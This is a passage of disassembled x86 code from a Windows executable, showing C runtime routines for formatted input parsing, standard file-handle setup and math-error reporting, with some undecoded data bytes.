XREF: sub_423327+71Cj mov al, dl mov dl, cl loc_423A4D: ; CODE XREF: sub_423327+720j cmp dl, al ja short loc_423A7C movzx esi, dl sub al, dl inc al movzx eax, al mov [ebp-1D4h], eax loc_423A61: ; CODE XREF: sub_423327+753j mov eax, esi shr eax, 3 add eax, ebx mov ecx, esi and ecx, 7 mov dl, 1 shl dl, cl or [eax], dl inc esi dec dword ptr [ebp-1D4h] jnz short loc_423A61 loc_423A7C: ; CODE XREF: sub_423327+728j xor dl, dl jmp short loc_423A9F ; --------------------------------------------------------------------------- loc_423A80: ; CODE XREF: sub_423327+70Cj ; sub_423327+710j ... mov [ebp-198h], al movzx ecx, al mov eax, ecx shr eax, 3 add eax, ebx and ecx, 7 mov dl, 1 shl dl, cl or [eax], dl loc_423A99: ; CODE XREF: sub_423327+6F9j ; sub_423327+6FEj mov dl, [ebp-198h] loc_423A9F: ; CODE XREF: sub_423327+707j ; sub_423327+757j mov al, [edi] cmp al, 5Dh jnz short loc_423A30 test al, al jz loc_424147 mov ebx, [ebp-1B0h] cmp dword ptr [ebp-1C0h], 7Bh jnz short loc_423ABF mov [ebp+0Ch], edi loc_423ABF: ; CODE XREF: sub_423327+793j mov edi, [ebp-1C0h] loc_423AC5: ; CODE XREF: sub_423327+5DEj ; sub_423327+5EBj mov esi, ebx dec dword ptr [ebp-184h] cmp dword ptr [ebp-194h], 0FFFFFFFFh jz short loc_423AE6 push dword ptr [ebp+8] push dword ptr [ebp-194h] call sub_427140 pop ecx pop ecx loc_423AE6: ; CODE XREF: sub_423327+7ADj ; sub_423327+9A3j ... cmp dword ptr [ebp-1B4h], 0 jz short loc_423B03 mov eax, [ebp-18Ch] dec dword ptr [ebp-18Ch] test eax, eax jz loc_423CEB loc_423B03: ; CODE XREF: sub_423327+7C6j inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov [ebp-194h], eax cmp eax, 0FFFFFFFFh jz loc_423CD5 cmp edi, 63h jz short loc_423B72 cmp edi, 73h jnz short loc_423B39 cmp eax, 9 jl short loc_423B34 cmp eax, 0Dh jle short loc_423B39 loc_423B34: ; CODE XREF: sub_423327+806j cmp eax, 20h jnz short loc_423B72 loc_423B39: ; CODE XREF: sub_423327+801j ; sub_423327+80Bj cmp edi, 7Bh jnz loc_423CD5 mov ecx, eax and ecx, 7 xor edx, edx inc edx shl edx, cl mov ecx, eax sar ecx, 3 mov edi, [ebp-1BCh] movsx ecx, byte ptr [ecx+edi] movsx edi, byte ptr [ebp-1A1h] xor ecx, edi test edx, ecx jz loc_423CD5 mov edi, [ebp-1C0h] loc_423B72: ; CODE XREF: sub_423327+7FCj ; sub_423327+810j cmp byte ptr [ebp-18Eh], 0 jnz loc_423CCF cmp byte ptr [ebp-196h], 0 jz loc_423CC1 mov [ebp-1C4h], al movzx eax, al mov ecx, ds:off_4437D8 test byte ptr [ecx+eax*2+1], 80h jz short loc_423BB6 inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov [ebp-1C3h], al loc_423BB6: ; CODE XREF: sub_423327+879j push ds:dword_4437B0 lea eax, [ebp-1C4h] push eax lea eax, [ebp-1CCh] push eax call sub_4271AC add esp, 0Ch mov ax, [ebp-1CCh] mov [ebx], ax inc ebx inc ebx jmp loc_423CC4 ; --------------------------------------------------------------------------- loc_423BE3: ; CODE XREF: sub_423327+353j cmp ebx, 2Bh jnz short loc_423C13 loc_423BE8: ; CODE XREF: sub_423327+360j dec dword ptr [ebp-18Ch] jnz short loc_423BFD test ecx, ecx jz short loc_423BFD mov byte ptr [ebp-17Dh], 1 jmp short loc_423C13 ; --------------------------------------------------------------------------- loc_423BFD: ; CODE XREF: sub_423327+8C7j ; sub_423327+8CBj inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov ebx, eax mov [ebp-194h], ebx loc_423C13: ; CODE XREF: sub_423327+8BFj ; sub_423327+8D4j cmp ebx, 30h jnz loc_423D7E inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov ebx, eax mov [ebp-194h], ebx cmp bl, 78h jz short loc_423C88 cmp bl, 58h jz short loc_423C88 mov dword ptr [ebp-19Ch], 1 cmp edi, 78h jz short loc_423C6A cmp dword ptr [ebp-1B4h], 0 jz short loc_423C62 dec dword ptr [ebp-18Ch] jnz short loc_423C62 inc byte ptr [ebp-17Dh] loc_423C62: ; CODE XREF: sub_423327+92Bj ; sub_423327+933j push 6Fh loc_423C64: ; CODE XREF: sub_423327+998j pop edi jmp loc_423D7E ; --------------------------------------------------------------------------- loc_423C6A: ; CODE XREF: sub_423327+922j dec dword ptr [ebp-184h] cmp ebx, 0FFFFFFFFh jz short loc_423C80 push dword ptr [ebp+8] push ebx call sub_427140 pop ecx pop ecx loc_423C80: ; CODE XREF: sub_423327+94Cj push 30h pop ebx jmp loc_423D78 ; --------------------------------------------------------------------------- loc_423C88: ; CODE XREF: sub_423327+90Ej ; sub_423327+913j inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov ebx, eax mov [ebp-194h], ebx cmp dword ptr [ebp-1B4h], 0 jz short loc_423CBD sub dword ptr [ebp-18Ch], 2 cmp dword ptr [ebp-18Ch], 1 jge short loc_423CBD inc byte ptr [ebp-17Dh] loc_423CBD: ; CODE XREF: sub_423327+97Ej ; sub_423327+98Ej push 78h jmp short loc_423C64 ; --------------------------------------------------------------------------- loc_423CC1: ; CODE XREF: sub_423327+85Fj mov [ebx], al inc ebx loc_423CC4: ; CODE XREF: sub_423327+8B7j mov [ebp-1B0h], ebx jmp loc_423AE6 ; --------------------------------------------------------------------------- loc_423CCF: ; CODE XREF: sub_423327+852j inc esi jmp loc_423AE6 ; --------------------------------------------------------------------------- loc_423CD5: ; CODE XREF: sub_423327+7F3j ; sub_423327+815j ... dec dword ptr [ebp-184h] cmp eax, 0FFFFFFFFh jz short loc_423CEB push dword ptr [ebp+8] push eax call sub_427140 pop ecx pop ecx loc_423CEB: ; CODE XREF: sub_423327+7D6j ; sub_423327+9B7j cmp esi, ebx jz loc_424147 cmp byte ptr [ebp-18Eh], 0 jnz loc_4240A3 inc dword ptr [ebp-1B8h] cmp dword ptr [ebp-1C0h], 63h jz loc_4240A3 mov eax, [ebp-1B0h] cmp byte ptr [ebp-196h], 0 jz short loc_423D2B and word ptr [eax], 0 jmp loc_4240A3 ; --------------------------------------------------------------------------- loc_423D2B: ; CODE XREF: sub_423327+9F9j mov byte ptr [eax], 0 jmp loc_4240A3 ; --------------------------------------------------------------------------- loc_423D33: ; CODE XREF: sub_423327+5F5j mov byte ptr [ebp-18Dh], 1 loc_423D3A: ; CODE XREF: sub_423327+2FEj ; sub_423327+310j ... mov ebx, [ebp-194h] cmp ebx, 2Dh jnz short loc_423D4E mov byte ptr [ebp-197h], 1 jmp short loc_423D53 ; --------------------------------------------------------------------------- loc_423D4E: ; CODE XREF: sub_423327+A1Cj cmp ebx, 2Bh jnz short loc_423D7E loc_423D53: ; CODE XREF: sub_423327+A25j dec dword ptr [ebp-18Ch] jnz short loc_423D68 test ecx, ecx jz short loc_423D68 mov byte ptr [ebp-17Dh], 1 jmp short loc_423D7E ; --------------------------------------------------------------------------- loc_423D68: ; CODE XREF: sub_423327+A32j ; sub_423327+A36j inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov ebx, eax loc_423D78: ; CODE XREF: sub_423327+95Cj mov [ebp-194h], ebx loc_423D7E: ; CODE XREF: sub_423327+8EFj ; sub_423327+93Ej ... cmp dword ptr [ebp-1C8h], 0 jz loc_423F1E cmp byte ptr [ebp-17Dh], 0 jnz loc_423EED mov esi, 80h loc_423D9D: ; CODE XREF: sub_423327+BBAj cmp edi, 78h jz loc_423E26 cmp edi, 70h jz short loc_423E26 cmp ds:dword_4437B0, 1 jle short loc_423DC0 push 4 push ebx call sub_422B91 pop ecx pop ecx jmp short loc_423DCC ; --------------------------------------------------------------------------- loc_423DC0: ; CODE XREF: sub_423327+A8Bj mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ebx*2] and eax, 4 loc_423DCC: ; CODE XREF: sub_423327+A97j test eax, eax jz loc_423E73 cmp edi, 6Fh jnz short loc_423E03 cmp ebx, 38h jge loc_423E73 mov eax, [ebp-1ACh] mov ecx, [ebp-1A8h] shld ecx, eax, 3 shl eax, 3 mov [ebp-1ACh], eax mov [ebp-1A8h], ecx jmp short loc_423E79 ; --------------------------------------------------------------------------- loc_423E03: ; CODE XREF: sub_423327+AB0j push 0 push 0Ah push dword ptr [ebp-1A8h] push dword ptr [ebp-1ACh] call sub_420750 mov [ebp-1ACh], eax mov [ebp-1A8h], edx jmp short loc_423E79 ; --------------------------------------------------------------------------- loc_423E26: ; CODE XREF: sub_423327+A79j ; sub_423327+A82j cmp ds:dword_4437B0, 1 jle short loc_423E3A push esi push ebx call sub_422B91 pop ecx pop ecx jmp short loc_423E45 ; --------------------------------------------------------------------------- loc_423E3A: ; CODE XREF: sub_423327+B06j mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ebx*2] and eax, esi loc_423E45: ; CODE XREF: sub_423327+B11j test eax, eax jz short loc_423E73 mov eax, [ebp-1ACh] mov ecx, [ebp-1A8h] shld ecx, eax, 4 shl eax, 4 mov [ebp-1ACh], eax mov [ebp-1A8h], ecx mov eax, ebx call sub_4232DF mov ebx, eax jmp short loc_423E79 ; --------------------------------------------------------------------------- loc_423E73: ; CODE XREF: sub_423327+AA7j ; sub_423327+AB5j ... inc byte ptr [ebp-17Dh] loc_423E79: ; CODE XREF: sub_423327+ADAj ; sub_423327+AFDj ... cmp byte ptr [ebp-17Dh], 0 jnz short loc_423EC4 inc dword ptr [ebp-19Ch] lea eax, [ebx-30h] cdq add [ebp-1ACh], eax adc [ebp-1A8h], edx cmp dword ptr [ebp-1B4h], 0 jz short loc_423EB2 dec dword ptr [ebp-18Ch] jnz short loc_423EB2 mov byte ptr [ebp-17Dh], 1 jmp short loc_423EDA ; --------------------------------------------------------------------------- loc_423EB2: ; CODE XREF: sub_423327+B78j ; sub_423327+B80j inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov ebx, eax jmp short loc_423EDA ; --------------------------------------------------------------------------- loc_423EC4: ; CODE XREF: sub_423327+B59j dec dword ptr [ebp-184h] cmp ebx, 0FFFFFFFFh jz short loc_423EDA push dword ptr [ebp+8] push ebx call sub_427140 pop ecx pop ecx loc_423EDA: ; CODE XREF: sub_423327+B89j ; sub_423327+B9Bj ... cmp byte ptr [ebp-17Dh], 0 jz loc_423D9D mov [ebp-194h], ebx loc_423EED: ; CODE XREF: sub_423327+A6Bj cmp byte ptr [ebp-197h], 0 jz loc_424043 mov eax, [ebp-1ACh] neg eax mov ecx, [ebp-1A8h] adc ecx, 0 neg ecx mov [ebp-1ACh], eax mov [ebp-1A8h], ecx jmp loc_424043 ; --------------------------------------------------------------------------- loc_423F1E: ; CODE XREF: sub_423327+A5Ej cmp byte ptr [ebp-17Dh], 0 jnz loc_424034 mov esi, 80h loc_423F30: ; CODE XREF: sub_423327+D01j cmp edi, 78h jz short loc_423F85 cmp edi, 70h jz short loc_423F85 cmp ds:dword_4437B0, 1 jle short loc_423F4F push 4 push ebx call sub_422B91 pop ecx pop ecx jmp short loc_423F5B ; --------------------------------------------------------------------------- loc_423F4F: ; CODE XREF: sub_423327+C1Aj mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ebx*2] and eax, 4 loc_423F5B: ; CODE XREF: sub_423327+C26j test eax, eax jz short loc_423FBA cmp edi, 6Fh jnz short loc_423F72 cmp ebx, 38h jge short loc_423FBA shl dword ptr [ebp-1A0h], 3 jmp short loc_423FC0 ; --------------------------------------------------------------------------- loc_423F72: ; CODE XREF: sub_423327+C3Bj mov eax, [ebp-1A0h] lea eax, [eax+eax*4] shl eax, 1 mov [ebp-1A0h], eax jmp short loc_423FC0 ; --------------------------------------------------------------------------- loc_423F85: ; CODE XREF: sub_423327+C0Cj ; sub_423327+C11j cmp ds:dword_4437B0, 1 jle short loc_423F99 push esi push ebx call sub_422B91 pop ecx pop ecx jmp short loc_423FA4 ; --------------------------------------------------------------------------- loc_423F99: ; CODE XREF: sub_423327+C65j mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ebx*2] and eax, esi loc_423FA4: ; CODE XREF: sub_423327+C70j test eax, eax jz short loc_423FBA shl dword ptr [ebp-1A0h], 4 mov eax, ebx call sub_4232DF mov ebx, eax jmp short loc_423FC0 ; --------------------------------------------------------------------------- loc_423FBA: ; CODE XREF: sub_423327+C36j ; sub_423327+C40j ... inc byte ptr [ebp-17Dh] loc_423FC0: ; CODE XREF: sub_423327+C49j ; sub_423327+C5Cj ... cmp byte ptr [ebp-17Dh], 0 jnz short loc_42400B inc dword ptr [ebp-19Ch] mov eax, [ebp-1A0h] lea eax, [eax+ebx-30h] mov [ebp-1A0h], eax cmp dword ptr [ebp-1B4h], 0 jz short loc_423FF9 dec dword ptr [ebp-18Ch] jnz short loc_423FF9 mov byte ptr [ebp-17Dh], 1 jmp short loc_424021 ; --------------------------------------------------------------------------- loc_423FF9: ; CODE XREF: sub_423327+CBFj ; sub_423327+CC7j inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov ebx, eax jmp short loc_424021 ; --------------------------------------------------------------------------- loc_42400B: ; CODE XREF: sub_423327+CA0j dec dword ptr [ebp-184h] cmp ebx, 0FFFFFFFFh jz short loc_424021 push dword ptr [ebp+8] push ebx call sub_427140 pop ecx pop ecx loc_424021: ; CODE XREF: sub_423327+CD0j ; sub_423327+CE2j ... cmp byte ptr [ebp-17Dh], 0 jz loc_423F30 mov [ebp-194h], ebx loc_424034: ; CODE XREF: sub_423327+BFEj cmp byte ptr [ebp-197h], 0 jz short loc_424043 neg dword ptr [ebp-1A0h] loc_424043: ; CODE XREF: sub_423327+BCDj ; sub_423327+BF2j ... cmp edi, 46h jnz short loc_42404F and dword ptr [ebp-19Ch], 0 loc_42404F: ; CODE XREF: sub_423327+D1Fj cmp dword ptr [ebp-19Ch], 0 jz loc_424147 cmp byte ptr [ebp-18Eh], 0 jnz short loc_4240A3 inc dword ptr [ebp-1B8h] mov ebx, [ebp-1B0h] mov eax, [ebp-1A0h] loc_424077: ; CODE XREF: sub_423327+33Cj cmp dword ptr [ebp-1C8h], 0 jz short loc_424093 mov eax, [ebp-1ACh] mov [ebx], eax mov eax, [ebp-1A8h] mov [ebx+4], eax jmp short loc_4240A3 ; --------------------------------------------------------------------------- loc_424093: ; CODE XREF: sub_423327+D57j cmp byte ptr [ebp-18Dh], 0 jz short loc_4240A0 mov [ebx], eax jmp short loc_4240A3 ; --------------------------------------------------------------------------- loc_4240A0: ; CODE XREF: sub_423327+D73j mov [ebx], ax loc_4240A3: ; CODE XREF: sub_423327+342j ; sub_423327+590j ... inc byte ptr [ebp-195h] inc dword ptr [ebp+0Ch] mov esi, [ebp+0Ch] jmp short loc_424128 ; --------------------------------------------------------------------------- loc_4240B1: ; CODE XREF: sub_423327+C8j inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov ebx, eax mov [ebp-194h], ebx movzx eax, byte ptr [esi] inc esi mov [ebp+0Ch], esi cmp eax, ebx jnz short loc_42410B movzx eax, bl mov ecx, ds:off_4437D8 test byte ptr [ecx+eax*2+1], 80h jz short loc_424128 inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 movzx ecx, byte ptr [esi] inc esi mov [ebp+0Ch], esi cmp ecx, eax jz short loc_424122 cmp eax, 0FFFFFFFFh jz short loc_42410B push dword ptr [ebp+8] push eax call sub_427140 pop ecx pop ecx loc_42410B: ; CODE XREF: sub_423327+DA9j ; sub_423327+DD7j cmp ebx, 0FFFFFFFFh loc_42410E: ; CODE XREF: sub_423327+628j jz short loc_424147 push dword ptr [ebp+8] push dword ptr [ebp-194h] call sub_427140 pop ecx pop ecx jmp short loc_424147 ; --------------------------------------------------------------------------- loc_424122: ; CODE XREF: sub_423327+DD2j dec dword ptr [ebp-184h] loc_424128: ; CODE XREF: sub_423327+D88j ; sub_423327+DB9j cmp dword ptr [ebp-194h], 0FFFFFFFFh jnz loc_42336D cmp byte ptr [esi], 25h jnz short loc_424147 mov eax, [ebp+0Ch] cmp byte ptr [eax+1], 6Eh jz loc_42336A loc_424147: ; CODE XREF: sub_423327+4Aj ; sub_423327+583j ... cmp dword ptr [ebp-1D8h], 1 jnz short loc_42415C push dword ptr [ebp-1BCh] call sub_41E2A1 pop ecx loc_42415C: ; CODE XREF: sub_423327+E27j mov eax, [ebp-1B8h] cmp dword ptr [ebp-194h], 0FFFFFFFFh jnz short loc_42417A test eax, eax jnz short loc_42417A cmp [ebp-195h], al jnz short loc_42417A or eax, 0FFFFFFFFh loc_42417A: ; CODE XREF: sub_423327+E42j ; sub_423327+E46j ... lea esp, [ebp-1E8h] mov ecx, [ebp-1Ch] call sub_422B83 call sub_425F4F retn sub_423327 endp ; =============== S U B R O U T I N E ======================================= sub_42418E proc near ; CODE XREF: start-C31F8p var_44 = byte ptr -44h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 44h push 100h call sub_41E5D3 test eax, eax pop ecx jnz short loc_4241A8 or eax, 0FFFFFFFFh jmp loc_424335 ; --------------------------------------------------------------------------- loc_4241A8: ; CODE XREF: sub_42418E+10j mov ds:dword_4E2BA0, eax mov ds:dword_4E2B98, 20h lea ecx, [eax+100h] jmp short loc_4241D9 ; --------------------------------------------------------------------------- loc_4241BF: ; CODE XREF: sub_42418E+4Dj or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+4], 0 mov byte ptr [eax+5], 0Ah mov ecx, ds:dword_4E2BA0 add eax, 8 add ecx, 100h loc_4241D9: ; CODE XREF: sub_42418E+2Fj cmp eax, ecx jb short loc_4241BF push ebx push esi push edi lea eax, [esp+50h+var_44] push eax call ds:dword_42B1A4 ; GetStartupInfoA cmp [esp+4Ch+var_E], 0 jz loc_4242BE mov eax, [esp+4Ch+var_C] test eax, eax jz loc_4242BE mov esi, [eax] push ebp lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_424217 mov esi, eax loc_424217: ; CODE XREF: sub_42418E+85j cmp ds:dword_4E2B98, esi jge short loc_424271 mov edi, offset dword_4E2BA4 loc_424224: ; CODE XREF: sub_42418E+D9j push 100h call sub_41E5D3 test eax, eax pop ecx jz short loc_42426B add ds:dword_4E2B98, 20h mov [edi], eax lea ecx, [eax+100h] jmp short loc_42425A ; --------------------------------------------------------------------------- loc_424244: ; CODE XREF: sub_42418E+CEj or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+4], 0 mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h loc_42425A: ; CODE XREF: sub_42418E+B4j cmp eax, ecx jb short loc_424244 add edi, 4 cmp ds:dword_4E2B98, esi jl short loc_424224 jmp short loc_424271 ; --------------------------------------------------------------------------- loc_42426B: ; CODE XREF: sub_42418E+A3j mov esi, ds:dword_4E2B98 loc_424271: ; CODE XREF: sub_42418E+8Fj ; sub_42418E+DBj xor edi, edi test esi, esi jle short loc_4242BD loc_424277: ; CODE XREF: sub_42418E+12Dj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_4242B4 mov cl, [ebp+0] test cl, 1 jz short loc_4242B4 test cl, 8 jnz short loc_424296 push eax call ds:dword_42B184 ; GetFileType test eax, eax jz short loc_4242B4 loc_424296: ; CODE XREF: sub_42418E+FBj mov eax, edi sar eax, 5 mov eax, ds:dword_4E2BA0[eax*4] mov ecx, edi and ecx, 1Fh lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_4242B4: ; CODE XREF: sub_42418E+EEj ; sub_42418E+F6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_424277 loc_4242BD: ; CODE XREF: sub_42418E+E7j pop ebp loc_4242BE: ; CODE XREF: sub_42418E+63j ; sub_42418E+6Fj xor ebx, ebx loc_4242C0: ; CODE XREF: sub_42418E+194j mov eax, ds:dword_4E2BA0 lea esi, [eax+ebx*8] cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_42431A test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_4242DA push 0FFFFFFF6h pop eax jmp short loc_4242E4 ; --------------------------------------------------------------------------- loc_4242DA: ; CODE XREF: sub_42418E+145j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_4242E4: ; CODE XREF: sub_42418E+14Aj push eax call ds:dword_42B188 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_424309 push edi call ds:dword_42B184 ; GetFileType test eax, eax jz short loc_424309 and eax, 0FFh cmp eax, 2 mov [esi], edi jnz short loc_42430F loc_424309: ; CODE XREF: sub_42418E+162j ; sub_42418E+16Dj or byte ptr [esi+4], 40h jmp short loc_42431E ; --------------------------------------------------------------------------- loc_42430F: ; CODE XREF: sub_42418E+179j cmp eax, 3 jnz short loc_42431E or byte ptr [esi+4], 8 jmp short loc_42431E ; --------------------------------------------------------------------------- loc_42431A: ; CODE XREF: sub_42418E+13Dj or byte ptr [esi+4], 80h loc_42431E: ; CODE XREF: sub_42418E+17Fj ; sub_42418E+184j ... inc ebx cmp ebx, 3 jl short loc_4242C0 push ds:dword_4E2B98 call ds:dword_42B18C ; LockResource pop edi pop esi xor eax, eax pop ebx loc_424335: ; CODE XREF: sub_42418E+15j add esp, 44h retn sub_42418E endp ; --------------------------------------------------------------------------- db 56h, 57h, 6Ah dd 0FF335E03h, 3F203539h, 447E004Eh, 4E2F08A1h, 0B0048B00h dd 2F74C085h, 830C40F6h, 0E8500D74h, 0FFFF9EEBh, 59FFF883h dd 83470174h, 177C14FEh, 4E2F08A1h, 0B034FF00h, 0FF9F28E8h dd 2F08A1FFh, 2483004Eh, 465900B0h, 3F20353Bh, 0BC7C004Eh dd 5E5FC78Bh db 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424391 proc near ; CODE XREF: sub_41FCC0+B5p ; sub_4203C0+B5p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, ds:dword_4437D4 mov [ebp+var_4], eax mov eax, [ebp+arg_C] mov ecx, 0A1h cmp eax, ecx push esi jg loc_4244C3 jz loc_4244B7 cmp eax, 18h jg loc_424447 jz short loc_424434 push 2 pop ecx sub eax, ecx jz short loc_424425 dec eax jz short loc_424419 sub eax, 5 jz short loc_42440A dec eax jz short loc_4243FE sub eax, 5 jz short loc_4243EB dec eax jnz loc_424612 mov [ebp+var_20], offset aExp ; "exp" jmp loc_424488 ; --------------------------------------------------------------------------- loc_4243EB: ; CODE XREF: sub_424391+45j mov [ebp+var_24], 3 mov [ebp+var_20], offset aExp ; "exp" jmp loc_42454A ; --------------------------------------------------------------------------- loc_4243FE: ; CODE XREF: sub_424391+40j mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_4245B0 ; --------------------------------------------------------------------------- loc_42440A: ; CODE XREF: sub_424391+3Dj mov [ebp+var_24], ecx mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_42454A ; --------------------------------------------------------------------------- loc_424419: ; CODE XREF: sub_424391+38j mov [ebp+var_20], offset aLog ; "log" jmp loc_4245B0 ; --------------------------------------------------------------------------- loc_424425: ; CODE XREF: sub_424391+35j mov [ebp+var_24], ecx mov [ebp+var_20], offset aLog ; "log" jmp loc_42454A ; --------------------------------------------------------------------------- loc_424434: ; CODE XREF: sub_424391+2Ej mov [ebp+var_24], 3 loc_42443B: ; CODE XREF: sub_424391+E2j mov [ebp+var_20], offset aPow ; "pow" jmp loc_42454A ; --------------------------------------------------------------------------- loc_424447: ; CODE XREF: sub_424391+28j sub eax, 19h jz short loc_424481 dec eax jz short loc_424475 dec eax jz short loc_42446C dec eax jz loc_4245A9 dec eax jnz loc_424612 mov [ebp+var_20], offset aPow ; "pow" jmp loc_4245D1 ; --------------------------------------------------------------------------- loc_42446C: ; CODE XREF: sub_424391+BFj mov [ebp+var_24], 2 jmp short loc_42443B ; --------------------------------------------------------------------------- loc_424475: ; CODE XREF: sub_424391+BCj mov eax, [ebp+arg_8] fld1 fstp qword ptr [eax] jmp loc_424612 ; --------------------------------------------------------------------------- loc_424481: ; CODE XREF: sub_424391+B9j mov [ebp+var_20], offset aPow ; "pow" loc_424488: ; CODE XREF: sub_424391+55j mov eax, [ebp+arg_0] fld qword ptr [eax] mov eax, [ebp+arg_4] mov esi, [ebp+arg_8] fstp [ebp+var_1C] fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] mov [ebp+var_24], 4 fstp [ebp+var_C] call ds:off_443A48 pop ecx jmp loc_42460D ; --------------------------------------------------------------------------- loc_4244B7: ; CODE XREF: sub_424391+1Fj mov [ebp+var_24], 3 jmp loc_424543 ; --------------------------------------------------------------------------- loc_4244C3: ; CODE XREF: sub_424391+19j mov ecx, 3EAh cmp eax, ecx jg loc_42458D jz loc_424584 sub eax, 0A2h jz short loc_42453C sub eax, 4 jz short loc_42452C sub eax, 4 jz short loc_42451C dec eax jz short loc_424510 sub eax, 33Dh jz short loc_424504 dec eax jnz loc_424612 mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_4245D1 ; --------------------------------------------------------------------------- loc_424504: ; CODE XREF: sub_424391+15Ej mov [ebp+var_20], offset aLog ; "log" jmp loc_4245D1 ; --------------------------------------------------------------------------- loc_424510: ; CODE XREF: sub_424391+157j mov [ebp+var_20], offset aLog2 ; "log2" jmp loc_4245B0 ; --------------------------------------------------------------------------- loc_42451C: ; CODE XREF: sub_424391+154j mov [ebp+var_24], 2 mov [ebp+var_20], offset aLog2 ; "log2" jmp short loc_42454A ; --------------------------------------------------------------------------- loc_42452C: ; CODE XREF: sub_424391+14Fj mov [ebp+var_24], 3 mov [ebp+var_20], offset aExp10 ; "exp10" jmp short loc_42454A ; --------------------------------------------------------------------------- loc_42453C: ; CODE XREF: sub_424391+14Aj mov [ebp+var_24], 4 loc_424543: ; CODE XREF: sub_424391+12Dj mov [ebp+var_20], offset aExp2 ; "exp2" loc_42454A: ; CODE XREF: sub_424391+68j ; sub_424391+83j ... mov eax, [ebp+arg_0] fld qword ptr [eax] mov eax, [ebp+arg_4] mov esi, [ebp+arg_8] fstp [ebp+var_1C] fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] fstp [ebp+var_C] call ds:off_443A48 test eax, eax pop ecx jnz loc_42460D mov ds:dword_4E28F4, 22h jmp loc_42460D ; --------------------------------------------------------------------------- loc_424584: ; CODE XREF: sub_424391+13Fj mov [ebp+var_20], offset aExp ; "exp" jmp short loc_4245D1 ; --------------------------------------------------------------------------- loc_42458D: ; CODE XREF: sub_424391+139j sub eax, 3EBh jz short loc_4245CA dec eax jz short loc_4245C1 dec eax jz short loc_4245B8 dec eax jz short loc_4245A9 dec eax jnz short loc_424612 mov [ebp+var_20], offset aModf ; "modf" jmp short loc_4245D1 ; --------------------------------------------------------------------------- loc_4245A9: ; CODE XREF: sub_424391+C2j ; sub_424391+20Aj mov [ebp+var_20], offset aPow ; "pow" loc_4245B0: ; CODE XREF: sub_424391+74j ; sub_424391+8Fj ... mov eax, [ebp+arg_0] mov esi, [ebp+arg_8] jmp short loc_4245DB ; --------------------------------------------------------------------------- loc_4245B8: ; CODE XREF: sub_424391+207j mov [ebp+var_20], offset aFloor ; "floor" jmp short loc_4245D1 ; --------------------------------------------------------------------------- loc_4245C1: ; CODE XREF: sub_424391+204j mov [ebp+var_20], offset aCeil ; "ceil" jmp short loc_4245D1 ; --------------------------------------------------------------------------- loc_4245CA: ; CODE XREF: sub_424391+201j mov [ebp+var_20], offset aAtan ; "atan" loc_4245D1: ; CODE XREF: sub_424391+D6j ; sub_424391+16Ej ... mov eax, [ebp+arg_0] fld qword ptr [eax] mov esi, [ebp+arg_8] fstp qword ptr [esi] loc_4245DB: ; CODE XREF: sub_424391+225j fld qword ptr [eax] mov eax, [ebp+arg_4] fstp [ebp+var_1C] mov [ebp+var_24], 1 fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] fstp [ebp+var_C] call ds:off_443A48 test eax, eax pop ecx jnz short loc_42460D mov ds:dword_4E28F4, 21h loc_42460D: ; CODE XREF: sub_424391+121j ; sub_424391+1DEj ... fld [ebp+var_C] fstp qword ptr [esi] loc_424612: ; CODE XREF: sub_424391+48j ; sub_424391+C9j ... mov ecx, [ebp+var_4] pop esi call sub_422B83 leave retn sub_424391 endp ; =============== S U B R O U T I N E ======================================= sub_42461D proc near ; CODE XREF: seg000:004246B3p push 0Ch push offset dword_439B48 call sub_425F14 and dword ptr [ebp-1Ch], 0 and dword ptr [ebp-4], 0 movapd xmm0, xmm1 mov dword ptr [ebp-1Ch], 1 jmp short loc_424645 ; --------------------------------------------------------------------------- dw 0C033h dd 658BC340h db 0E8h ; --------------------------------------------------------------------------- loc_424645: ; CODE XREF: sub_42461D+1Fj or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-1Ch] call sub_425F4F retn sub_42461D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424652: ; DATA XREF: seg002:0043C024o push ebp mov ebp, esp sub esp, 20h mov eax, ds:dword_4437D4 mov [ebp-4], eax xor eax, eax push ebx push esi mov [ebp-1Ch], eax mov [ebp-18h], eax mov 